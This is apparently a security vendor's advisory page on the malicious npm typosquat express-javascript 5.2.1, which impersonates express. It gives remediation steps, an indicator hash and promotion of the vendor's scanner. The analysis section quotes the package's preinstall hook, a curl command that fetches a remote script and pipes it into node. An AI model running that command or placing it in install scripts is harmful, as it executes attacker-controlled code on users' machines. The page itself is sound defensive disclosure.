Which versions of express-javascript are malicious?

The following npm versions of express-javascript are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate express-javascript if I installed it?

express-javascript is a typosquat — you almost certainly intended a legitimately-named package. Remove express-javascript, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed express-javascript — how do I know if it already compromised me?

If express-javascript was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is express-javascript part of a known attack campaign?

Yes — express-javascript is associated with the IN-MAL-2026-020632 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find express-javascript across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-javascript (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-javascript across your stack and pipelines.

Malicious package

express-javascriptnpm

express-javascript is a confirmed malicious npm package (MAL-2026-17242) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-javascript (npm)

MAL-2026-17242

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall express-javascript

What this malware does

[email protected] impersonates the express package (copying its description, author, contributors, repository, homepage, and dependency list verbatim) while its package.json preinstall lifecycle hook runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from a third-party account unrelated to the express publisher via a web.archive.org wrapper on a mutable branch/main ref and piping it into node with no integrity check. Every npm install of this package executes whatever bytes that endpoint returns on the installer's machine.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-javascript (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-javascript across your stack and pipelines.
If you installed it — respond
express-javascript is a typosquat — you almost certainly intended a legitimately-named package. Remove express-javascript, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If express-javascript was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks express-javascript before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. express-javascript on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020632

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks express-javascript-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

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